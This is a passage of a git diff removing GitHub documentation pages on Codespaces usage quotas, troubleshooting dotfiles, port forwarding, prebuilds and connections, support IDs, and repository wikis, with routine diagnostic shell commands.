+0,0 @@ ---- -title: Getting the most out of your included usage -shortTitle: Included usage -allowTitleToDifferFromFilename: true -intro: 'Find out about the free use of {% data variables.product.prodname_github_codespaces %} that''s included with personal accounts.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces ---- - -Personal {% data variables.product.prodname_dotcom %} accounts include a quota of free use of {% data variables.product.prodname_github_codespaces %} every month. - -> [!NOTE] -> Free use of {% data variables.product.prodname_github_codespaces %} is included in personal accounts only. It is not included in organization or enterprise accounts. - -There are two types of {% data variables.product.prodname_codespaces %} usage: compute and storage. During your monthly billing period, as you use {% data variables.product.prodname_codespaces %}, your compute and storage usage is deducted from the quota of free usage that's included in your personal {% data variables.product.prodname_dotcom %} account, until either compute or storage is consumed. Once one of those limits is reached, your use of {% data variables.product.prodname_github_codespaces %} will be restricted, unless you've set up a spending limit and a payment method. You will not be able to create new codespaces or open existing codespaces, that you would be billed for, until your quota renews. If you have access to repositories owned by an organization that pays for use of {% data variables.product.prodname_github_codespaces %}, you may still be able to create codespaces for those repositories. - -The amount of free usage provided on your personal account every month is designed to allow you to make open source contributions, or to work on side projects, free of charge. It is not intended to be enough for you to do everyday work free of charge. - -## About {% data variables.product.prodname_codespaces %} compute - -{% data variables.product.prodname_codespaces %} compute is counted in core hours, which is the sum of the time a codespace is active, multiplied by the multiplier for the codespace's machine type: for example, a multiplier of 2 for a 2-core machine, or a multiplier of 8 for an 8-core machine. A codespace becomes active when you create it or start it. A codespace stops being active when you stop it or delete it, or when it is stopped or deleted automatically. - -The default idle timeout, which stops a codespace after a period of inactivity, is 30 minutes. You can reduce this if required. See the "About billing for compute usage" section of [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-compute-usage). - -## About {% data variables.product.prodname_codespaces %} storage - -You can see the storage usage for each of your codespaces on the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces). - -![Screenshot of a list of three codespaces on the https://github.com/codespaces page."](/assets/images/help/codespaces/your-codespaces-list.png) - -> [!NOTE] -> If the dev container for a codespace was built from the default image, the size of the codespace shown on this page does not include the size of the base dev container. Storage for the base dev container is provided free of charge. See [Storage usage for your base dev container](#storage-usage-for-your-base-dev-container). - -For billing purposes, {% data variables.product.prodname_codespaces %} storage is counted in GB-months. This is a cumulative measure of the total storage each codespace consumes from creation to deletion, plus the storage for prebuilds. See the "Billing for storage usage" section of [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-storage-usage). - -### Where did my monthly storage go? - -Deleting codespaces you're not using will avoid using up the free storage included in your personal account unnecessarily. However, if you have set up prebuild configurations, your included storage may continue to diminish during your monthly billing cycle. - -Although prebuilds are not listed on the "Your codespaces" page, prebuilds created for a repository consume storage even if you do not currently have any codespaces for that repository. To avoid this, you can delete the prebuilds configurations you set up. See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds) and [AUTOTITLE](/codespaces/prebuilding-your-codespaces/managing-prebuilds#deleting-a-prebuild-configuration). - -## Understanding your {% data variables.product.prodname_codespaces %} usage - -You can check the cumulative {% data variables.product.prodname_github_codespaces %} usage for your current monthly billing cycle in your {% data variables.product.prodname_dotcom %} settings. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -![Screenshot of the "{% data variables.product.prodname_codespaces %}" section of the billing page showing figures for "Usage hours" and "Storage."](/assets/images/help/codespaces/view-personal-usage-collapsed.png) - -You can expand the "Usage hours" and "Storage" section for more information - for example, to see how much of the consumed storage was used by prebuilds. - -For more specific information - for example, if you want to know which repositories have prebuilds that are consuming storage - you can generate a usage report. The usage report is a CSV file that's emailed to you. For more information on how to generate a usage report, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -To see your {% data variables.product.prodname_codespaces %} usage, filter the report to show only rows that mention "Codespaces" in the `Product` column. - -![Screenshot of a usage report in Microsoft Excel. All of the entries in the "Product" column read "Codespaces - Linux."](/assets/images/help/codespaces/usage-report-personal-account.png) - -### Storage usage for your base dev container - -If you don't add a dev container configuration to your repository, or if your configuration does not specify a dev container image to use, then {% data variables.product.prodname_dotcom %} creates a container from a default Linux image. Storage of base dev containers built from the default dev container image is free of charge and does not consume your included storage. Your storage usage will be based only on the files in your repository, and any files you subsequently add to the codespace, including {% data variables.product.prodname_vscode_shortname %} extensions. If you use an alternative base image, then the resulting container and all of the files in the codespace will be counted as used storage. {% data reusables.codespaces.default-image-contents %} - -You can check which image was used to create a codespace's dev container. In the Terminal of your codespace, run this command. - -```shell copy -devcontainer-info -``` - -If the dev container for the current codespace was built from the default image, the output of this command will contain the following information. - -```shell -- Definition ID: universal -- Source code repository: https://github.com/devcontainers/images -``` - -## Tips for making your allowed usage go further - -* Your codespaces consume compute usage while they are running. If you're not using a codespace, stopping the codespace prevents unnecessary compute usage. See [AUTOTITLE](/codespaces/developing-in-a-codespace/stopping-and-starting-a-codespace). -* You can reduce the idle timeout for {% data variables.product.prodname_codespaces %} in your personal settings to less than the default 30 minutes. This will shorten the period of inactivity before your codespaces are automatically stopped. This can save on compute usage. See [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces). -* Your codespaces consume storage while they exist. You should delete a codespace you have finished using and know that you will not use again. See [AUTOTITLE](/codespaces/developing-in-a-codespace/deleting-a-codespace). - - > [!NOTE] - > Deleting a codespace will not reduce your used storage amount for the billing current month as this is a cumulative figure. - -* Configure your retention period to ensure codespaces you forget to delete are deleted automatically. The default retention period is 30 days. See [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces). -* {% data variables.product.prodname_vscode %} extensions consume storage. Make sure you are only installing extensions that you need. You can find out how much space is being used by extensions by running this command in your codespace. - - ```shell copy - du -h -s ~/.vscode-remote/extensions - ``` - -* Monitor your compute and storage usage by going to your billing page on {% data variables.product.github %}, https://github.com/settings/billing, and reviewing the figures in the "{% data variables.product.prodname_codespaces %}" section. - - > [!NOTE] - > Storage is calculated hourly and added to your existing storage usage. Consumed storage is therefore cumulative for the duration of your month-long billing cycle. This means that, during the billing period, the value you see on your billing page will only increase or remain the same. Usage will be reset to zero when a new billing cycle starts. Deleting a codespace, or a prebuild, will not reduce the usage figure for the current month, but it will reduce the rate at which storage usage accumulates. - -* Ensure that you are using prebuilds for only as many versions and as many regions as you need. See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds) and [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-codespaces-prebuilds). - - > [!NOTE] - > If your included storage usage is exhausted, new prebuilds are disabled until you set up a spending limit or your included usage quota renews. - -* If you have configured prebuilds in a repository's settings, but you're not using {% data variables.product.prodname_github_codespaces %} for that repository, consider deleting the prebuild configuration to avoid prebuilds for that repository consuming your included storage allowance unnecessarily. When you delete a prebuild configuration all the associated prebuilds are deleted, reducing your storage consumption from that point onward. See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/managing-prebuilds#deleting-a-prebuild-configuration). - - You can check for prebuild configurations in the "{% data variables.product.prodname_codespaces %}" page of a repository's settings. See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - - Alternatively, you can check which repositories have prebuilds by reviewing a usage report. See [Understanding your {% data variables.product.prodname_codespaces %} usage](#understanding-your-codespaces-usage) above. -* Storage of containers built from the default dev container image for codespaces is free of charge and does not reduce your included storage. You can therefore avoid your storage allowance being consumed by your dev container by using the default image in your dev container configuration, rather than specifying a more specialized image. See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#using-the-default-dev-container-configuration) and [Storage usage for your base dev container](#storage-usage-for-your-base-dev-container) above. diff --git a/content/codespaces/troubleshooting/troubleshooting-personalization-for-codespaces.md b/content/codespaces/troubleshooting/troubleshooting-personalization-for-codespaces.md deleted file mode 100644 index 6c9947178871..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-personalization-for-codespaces.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Troubleshooting personalization options for GitHub Codespaces -allowTitleToDifferFromFilename: true -intro: Troubleshooting steps for common issues with dotfiles and Settings Sync. -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -shortTitle: Personalization -redirect_from: - - /codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces ---- - -You can personalize {% data variables.product.prodname_github_codespaces %} by using a `dotfiles` repository on {% data variables.product.github %} or by using Settings Sync. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account). - -## Troubleshooting dotfiles - -If your codespace fails to pick up configuration settings from dotfiles, you should work through the following debugging steps. - -1. Enable dotfiles by selecting **Automatically install dotfiles** in [your personal {% data variables.product.prodname_github_codespaces %} settings](https://github.com/settings/codespaces). - - ![Screenshot of the "Dotfiles" section of the codespace settings, with the "Automatically install dotfiles" option cleared.](/assets/images/help/codespaces/install-custom-dotfiles.png) - -1. Check `/workspaces/.codespaces/.persistedshare/dotfiles` to see if your dotfiles were cloned. - * If your dotfiles were cloned, try manually re-running your install script to verify that it is executable. - * If your dotfiles were not cloned, check `/workspaces/.codespaces/.persistedshare/EnvironmentLog.txt` to see if there was a problem cloning them. -1. Check `/workspaces/.codespaces/.persistedshare/creation.log` for possible issues. For more information, see [Creation logs](/codespaces/troubleshooting/github-codespaces-logs#creation-logs). - -If the configuration from your dotfiles is correctly picked up, but part of the configuration is incompatible with codespaces, use the `$CODESPACES` environment variable to add conditional logic for codespace-specific configuration settings. For more information about configuration that may be incompatible with codespaces, see: -* [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-authentication-to-a-repository#problems-with-the-repository-from-which-you-created-the-codespace) -* [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces#errors-caused-by-conflicting-configuration) - -## Troubleshooting Settings Sync - -{% data reusables.codespaces.disabling-settings-sync %} diff --git a/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md b/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md deleted file mode 100644 index 19d795036dc2..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Troubleshooting port forwarding for GitHub Codespaces -intro: Troubleshooting steps for common port forwarding issues. -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -shortTitle: Port forwarding -redirect_from: - - /codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces ---- - -When an application running inside a codespace outputs a port to the console, {% data variables.product.prodname_github_codespaces %} detects the localhost URL pattern and automatically forwards the port. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace). - -If a port is not automatically forwarded, you can forward it manually. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace#forwarding-a-port). - -If port forwarding is set up, check the following: - -* Use the link in the notification "toast" message, that pops up in the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, or click the URL in Terminal, to open the forwarded port. Typing in `localhost:8000` (as an example) to your local machine will not work if you're connected to the codespace via the browser. -* Make sure to check that your application is still running from within your codespace. If your codespace has stopped after a period of inactivity, you'll need to ensure to restart your application once the codespace has restarted. - -Typically, you can make a forwarded port accessible publicly, or within the organization that owns a repository. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace). If either, or both, of the options for public or organization visibility are not available, this indicates that an organization-level policy has been configured. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports). - -{% data reusables.codespaces.forwarded-ports-environment-variable %} diff --git a/content/codespaces/troubleshooting/troubleshooting-prebuilds.md b/content/codespaces/troubleshooting/troubleshooting-prebuilds.md deleted file mode 100644 index 3da6a6b3e480..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-prebuilds.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Troubleshooting prebuilds -shortTitle: Codespaces prebuilds -intro: You can use prebuilds to speed up the creation of codespaces. This article provides troubleshooting steps for common issues with prebuilds. -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces ---- - -For more information about {% data variables.product.prodname_github_codespaces %} prebuilds, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces). - -## Checking whether a codespace was created from a prebuild? - -When you create a codespace, you can choose the type of the virtual machine you want to use. If a prebuild is available for the type of virtual machine, "{% octicon "zap" aria-hidden="true" %} Prebuild ready" is shown next to it. - -![Screenshot of a list of available machine types: 2, 4, 8, 16, and 32 core, all labeled "Prebuild ready."](/assets/images/help/codespaces/choose-custom-machine-type.png) - -If you have your {% data variables.product.prodname_github_codespaces %} editor preference set to "{% data variables.product.prodname_vscode %} for Web" then the "Setting up your codespace" page will show the message "Prebuilt codespace found" if a prebuild is being used. - -![Screenshot of the "Setting up your codespace" page, with the text: "Prebuilt codespace found. Downloading image."](/assets/images/help/codespaces/prebuilt-codespace-found.png) - -Similarly, if your editor preference is "{% data variables.product.prodname_vscode_shortname %}" then the integrated terminal will contain the message "You are on a prebuilt codespace defined by the prebuild configuration for your repository" when you create a new codespace. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces). - -After you have created a codespace you can check whether it was created from a prebuild by running the following {% data variables.product.prodname_cli %} command in the terminal: - -```shell copy -gh api /user/codespaces/$CODESPACE_NAME --jq .prebuild -``` - -This returns `true` if the codespace was created using a prebuild. - -Alternatively, if {% data variables.product.prodname_cli %} (`gh`) is not installed, you can use the following command, which returns `createFromPrebuild` if the codespace was created from a prebuild: - -```shell copy -cat /workspaces/.codespaces/shared/environment-variables.json | jq '.ACTION_NAME' -``` - -## Checking prebuild usage - -You can check whether a repository is using prebuilds in the "{% data variables.product.prodname_codespaces %}" page of the repository's settings. - -You can check how much storage space has been consumed by prebuilds in your current billing cycle by reviewing the billing data for your personal or organization account. You can also generate a usage report to see which repositories have been using prebuilds. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -## The "Prebuild Ready" label is sometimes missing - -You may notice that sometimes, when you create a new codespace from a prebuild-enabled branch, the "{% octicon "zap" aria-hidden="true" %} Prebuild Ready" label is not displayed in the dialog box for choosing a machine type. This means that prebuilds are not currently available. - -By default, each time you push to a prebuild-enabled branch, the prebuild is updated. If the push involves a change to the dev container configuration then, while the update is in progress, the "{% octicon "zap" aria-hidden="true" %} Prebuild Ready" label is removed from the list of machine types. During this time you can still create codespaces without a prebuild. If required, you can reduce the occasions on which prebuilds are unavailable for a repository by setting the prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. For more information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - -If your branch is not specifically enabled for prebuilds it may still benefit from prebuilds if it was branched from a prebuild-enabled branch. However, if the dev container configuration is changed on your branch, so that it's not the same as the configuration on the base branch, prebuilds will no longer be available on your branch. - -Here are things to check if the "{% octicon "zap" aria-hidden="true" %} Prebuild Ready" label is not displayed for a particular branch: - -* Confirm that a prebuild configuration exists for this branch. If you’re not a repository administrator, you'll need to reach out to one to confirm this. -* Confirm that the prebuild configuration includes your region. -* Check whether a change to the dev container configuration was pushed to the prebuild-enabled branch recently. If so, you will typically have to wait until the prebuild workflow run for this push completes before prebuilds are available again. -* If no configuration changes were recently made, go to the **Actions** tab of your repository, click **{% octicon "codespaces" aria-hidden="true" %} {% data variables.product.prodname_codespaces %} Prebuilds** in the workflows list, and check that prebuild workflow runs for the branch are succeeding. If latest runs of a workflow failed, and one or more of these failed runs contained changes to the dev container configuration, then there will be no available prebuilds for the associated branch. - -## Some resources cannot be accessed in codespaces created using a prebuild - -If the `devcontainer.json` configuration file for a prebuild configuration specifies that permissions for access to other repositories are required, then the repository administrator is prompted to authorize these permissions when they create or update the prebuild configuration. If the administrator does not grant all of the requested permissions there's a chance that problems may occur in the prebuild, and in codespaces created from this prebuild. This is true even if the user who creates a codespace based on this prebuild _does_ grant all of the permissions when they are prompted to do so. - -## Troubleshooting failed workflow runs for prebuilds - -### Increasing the {% data variables.product.prodname_actions %} spending limit - -Prebuilds are created and updated using {% data variables.product.prodname_actions %}. Your prebuild workflows will fail if you have used all of your {% data variables.product.prodname_actions %} minutes and have reached your spending limit. If this occurs you can increase your {% data variables.product.prodname_actions %} spending limit to allow the workflows to run. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). - -### Authorizing access permissions - -If the `devcontainer.json` configuration file for a prebuild configuration is updated to specify that permissions for access to other repositories are required, and a repository administrator has not been prompted to authorize these permissions for the prebuild configuration, then the prebuild workflow may fail. Try updating the prebuild configuration, without making any changes. If, when you click **Update**, the authorization page is displayed, check that the requested permissions are appropriate and, if so, authorize the request. For more information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/managing-prebuilds#editing-a-prebuild-configuration) and [AUTOTITLE](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces#setting-additional-repository-permissions). - -If the workflow runs for a prebuild configuration are failing, you can temporarily disable the prebuild configuration while you investigate. For more information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/managing-prebuilds#disabling-a-prebuild-configuration). - -### Preventing out-of-date prebuilds being used - -By default, if the latest prebuild workflow has failed, then a previous prebuild for the same combination of repository, branch, and `devcontainer.json` configuration file will be used to create new codespaces. This behavior is called prebuild optimization. - -We recommend keeping prebuild optimization enabled, because it helps ensure that codespaces can still be created quickly if an up-to-date prebuild is not available. However, as a repository administrator, you can disable prebuild optimization if you run into problems with prebuilt codespaces being behind the current state of the branch. If you disable prebuild optimization, codespaces for the relevant combination of repository, branch, and `devcontainer.json` file will be created without a prebuild if the latest prebuild workflow has failed or is currently running. - -{% data reusables.codespaces.accessing-prebuild-configuration %} -1. To the right of the affected prebuild configuration, select the ellipsis (**...**), then click **Edit**. - - ![Screenshot of the prebuild options dropdown with "Edit" highlighted.](/assets/images/help/codespaces/edit-prebuild-configuration.png) - -1. Scroll to the bottom of the "Edit configuration" page and click **Show advanced options**. - - ![Screenshot of the bottom of the prebuilds configuration page. The link "Show advanced options" is highlighted with a dark orange outline.](/assets/images/help/codespaces/show-advanced-options.png) - -1. If you're sure you want to disable the default setting, select **Disable prebuild optimization**. - - ![Screenshot of the "Advanced options" settings. The checkbox labeled "Disable prebuild optimization" is selected. Under this is the "Update" button.](/assets/images/help/codespaces/disable-prebuild-optimization.png) - -1. To save your change, click **Update**. - -## Further reading - -* [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds) -* [AUTOTITLE](/codespaces/prebuilding-your-codespaces/managing-prebuilds) diff --git a/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md b/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md deleted file mode 100644 index 6221c90c30cd..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Troubleshooting your connection to GitHub Codespaces -intro: 'Troubleshooting help for connecting to {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -shortTitle: Connection -redirect_from: - - /codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces ---- - -## 503 codespace service unavailable - -Codespaces are set to stop after 30 minutes without any activity. If you try to interact with a codespace after it has stopped, you may see a `503 service unavailable` error. - -* If a **Start** button is shown in {% data variables.product.prodname_vscode %} or in your browser window, click **Start** to reconnect to the codespace. -* Reset your codespace by reloading the window. From the [Command Palette](/codespaces/reference/using-the-vs-code-command-palette-in-codespaces#accessing-the-command-palette) in {% data variables.product.prodname_vscode %}, click **Developer: Reload Window**. - -## Browser cannot connect - -Sometimes you may not be able to access a codespace from your browser. If this happens, go to https://github.com/codespaces and try connecting to the codespace from that page. - -* If the codespace is not listed on that page, check that you are the owner of the codespace you are trying to connect to. You can only open a codespace that you created. -* If the codespace is listed but you cannot connect from that page, check whether you can connect using a different browser. - -### Diagnose by error message - -#### "Oh no, it looks like you are offline" - -Check that you have a stable internet connection and that your company network is not blocking the connection. If possible, check logging for rejected connections on your device. - -If you see rejected connections, make sure the domains documented by the `/meta` REST API endpoint are not blocked by your firewall. For more information, see [AUTOTITLE](/rest/meta/meta#get-github-meta-information). - -To get the list of domains required by {% data variables.product.prodname_github_codespaces %}, execute the following command using {% data variables.product.prodname_cli %}: - -`gh api meta --jq .domains.codespaces` - -### "We are having trouble fetching your codespace information" - -This is a transitional error. Wait for a few minutes and try again. - -### "We were unable to authenticate your connection" - -This indicates that something went wrong with authentication. Try clearing up your local storage and cookies and try again. - -If you still can't connect and the message you're seeing isn't in this list, check the service availability of {% data variables.product.prodname_codespaces %} at [githubstatus.com](https://www.githubstatus.com/). If the {% data variables.product.prodname_codespaces %} service is available, {% data reusables.codespaces.contact-support %} - -## Unable to connect to your codespace in JupyterLab - -To be able to use a codespace in JupyterLab, you must ensure that your codespace has it installed. The default dev container image that's used by {% data variables.product.prodname_github_codespaces %} includes JupyterLab, but if you have customized your dev container configuration you will have to manually install JupyterLab. - -If your codespace uses a Debian-based image, you can install JupyterLab in the dev container by adding the `python` feature to your `devcontainer.json` file, with the `installJupyterlab` option set to `true`. Otherwise, install it directly in your Dockerfile. For installation instructions, see [Installation](https://jupyterlab.readthedocs.io/en/stable/getting_started/installation.html) in the JupyterLab documentation. - -For more information about the `python` feature, see the README page in the [`devcontainers/features` repository](https://github.com/devcontainers/features/tree/main/src/python). For more information about the `devcontainer.json` file and the Dockerfile, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#devcontainerjson). - -If you still cannot connect, {% data reusables.codespaces.contact-support %} - -## {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %} cannot connect - -If you cannot connect to a codespace from {% data variables.product.prodname_vscode %} desktop, use the following troubleshooting steps. - -1. Check that you have the latest version of the {% data variables.product.prodname_github_codespaces %} extension installed. The extension is a preview release and frequent updates are released. - 1. In {% data variables.product.prodname_vscode %}, display the "Extensions" tab. - 1. Select the {% data variables.product.prodname_github_codespaces %} extension to display the extension's overview page. - 1. If an update is available, a button is shown, click **Update to X.X.X** to upgrade to the latest version. -1. Check whether you are using the stable build of {% data variables.product.prodname_vscode %} or the [{% data variables.product.prodname_vscode %} Insiders](https://code.visualstudio.com/insiders/) release (nightly updates). If you are using the insiders release, try installing the [stable build](https://code.visualstudio.com/). -1. Make sure your company network is not blocking the connection. - 1. If you receive errors like `connect EACCES`, `connect ECONNREFUSED`, `getaddrinfo ENOTFOUND`, or other similar errors, your firewall is likely blocking connections to our connection service. To verify this, please visit [this URL](https://global.rel.tunnels.api.visualstudio.com/api/version). If the request fails or you see no data, you likely need to work with your system administrator add `*.visualstudio.com` to your firewall's IP allow list. - 1. If you see the error `Tunnel service HTTPS certificate is invalid. This may be caused by the use of a self-signed certificate or a firewall intercepting the connection` it's likely that your firewall is doing TLS inspection and injecting a self-signed certificate which {% data variables.product.prodname_dotcom %} is not able to verify. To resolve this, your system administrator will either need to allow `*.visualstudio.com` to bypass the inspection or install the root CA that the firewall is injecting on your local machine. - -If you still cannot connect, {% data reusables.codespaces.contact-support %} - -### The codespace has latency issues - -If the codespace seems particularly slow or has latency issues, it is possible that it has been created in a region that is far from you. To resolve this, you can [manually set your {% data variables.product.prodname_github_codespaces %} region](/codespaces/setting-your-user-preferences/setting-your-default-region-for-github-codespaces). diff --git a/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md b/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md deleted file mode 100644 index 152a3f1964f8..000000000000 --- a/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Working with support for GitHub Codespaces -intro: 'Tips on getting the best help from support for {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -shortTitle: Working with support -redirect_from: - - /codespaces/troubleshooting/working-with-support-for-codespaces ---- - -Before support can help you with problems with codespaces, you need to know the permanent name of the codespace and its codespaces ID (identifier). In addition, support may ask you to share some logs with them. For more information, see [AUTOTITLE](/codespaces/troubleshooting/github-codespaces-logs) and [AUTOTITLE](/support/learning-about-github-support/about-github-support). - -## Codespace names - -Each codespace has two names: a display name, that you can change, and a unique, permanent name, that you cannot change. Unless you create a codespace with the {% data variables.product.prodname_cli %} and specify a display name of your choice, the display name is automatically generated when you create a codespace, consisting of two or three random words - for example, `literate space parakeet`. The permanent name is a combination of the initial display name, followed by some random characters - for example, `literate-space-parakeet-w5vg5ww5p793g7g9`. If you change the display name the permanent name remains unaffected. For more information, see [AUTOTITLE](/codespaces/customizing-your-codespace/renaming-a-codespace). - -{% data reusables.codespaces.permanent-codespace-names %} - -## Codespaces IDs - -Every codespace also has an ID (identifier). This is not shown by default in {% data variables.product.prodname_vscode %} so you may need to update the settings for the {% data variables.product.prodname_github_codespaces %} extension before you can access the ID. - -1. In {% data variables.product.prodname_vscode %}, browser or desktop, in the Activity Bar on the left, click **Remote Explorer** to show details for the codespace. -{% indented_data_reference reusables.codespaces.remote-explorer spaces=3 %} -1. If the side bar includes a "Codespace Performance" section, hover over the **Codespace ID** and click the clipboard icon to copy the ID. -1. If the information is not shown, click {% octicon "gear" aria-label="Manage" %}, in the bottom-left corner of the Activity Bar, and click **Settings**. -1. In the **Settings** tab, search for "performance" then, under "{% data variables.product.prodname_dotcom %} > {% data variables.product.prodname_codespaces %}: Show Performance Explorer", select the checkbox labeled "Display the Codespace Performance window in the Remote Explorer." - - ![Screenshot of "Show Performance Explorer" selected in {% data variables.product.prodname_vscode_shortname %}'s "Settings" tab and a codespace ID highlighted in the "Remote Explorer" side bar.](/assets/images/help/codespaces/find-codespace-id.png) diff --git a/content/communities/documenting-your-project-with-wikis/about-wikis.md b/content/communities/documenting-your-project-with-wikis/about-wikis.md deleted file mode 100644 index 8d8f419d1014..000000000000 --- a/content/communities/documenting-your-project-with-wikis/about-wikis.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: About wikis -intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.' -redirect_from: - - /articles/about-github-wikis - - /articles/about-wikis - - /github/building-a-strong-community/about-wikis -product: '{% data reusables.gated-features.wikis %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community ---- - -Every repository on {% data variables.product.github %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - -With wikis, you can write content just like everywhere else on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github). We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. - -{% data reusables.getting-started.math-and-diagrams %} - -If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.location.product_location %}{% else %}the public{% endif %}. If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only people with access to the repository can access the wiki. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility). - -You can edit wikis directly on {% data variables.product.github %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.location.product_location %} to contribute to a wiki in a public repository. For more information, see [AUTOTITLE](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> Search engines will only index wikis with 500 or more stars that you configure to prevent public editing. For more information, see [AUTOTITLE](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis). -> -> If you need search engines to index your content, you can use {% data variables.product.prodname_pages %} in a public repository. For more information, see [{% data variables.product.prodname_pages %}](/pages). - -{% endif %} - -> [!NOTE] -> For performance reasons, wikis have a soft limit of 5,000 total files, regardless of file type. If you exceed this limit, some pages may be inaccessible to users. If you need a larger wiki, we recommend using {% data variables.product.prodname_pages %}. For more information, see [{% data variables.product.prodname_pages %}](/pages). - -## Further reading - -* [AUTOTITLE](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages) -* [AUTOTITLE](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki) -* [AUTOTITLE](/communities/documenting-your-project-with-wikis/editing-wiki-content) -* [AUTOTITLE](/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes) -* [AUTOTITLE](/search-github/searching-on-github/searching-wikis) diff --git a/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md b/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md deleted file mode 100644 index ee005c8bfdac..000000000000 --- a/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Adding or editing wiki pages -intro: 'You can add and edit wiki pages directly on {% data variables.product.github %} or locally using the command line.' -redirect_from: - - /articles/adding-wiki-pages-via-the-online-interface - - 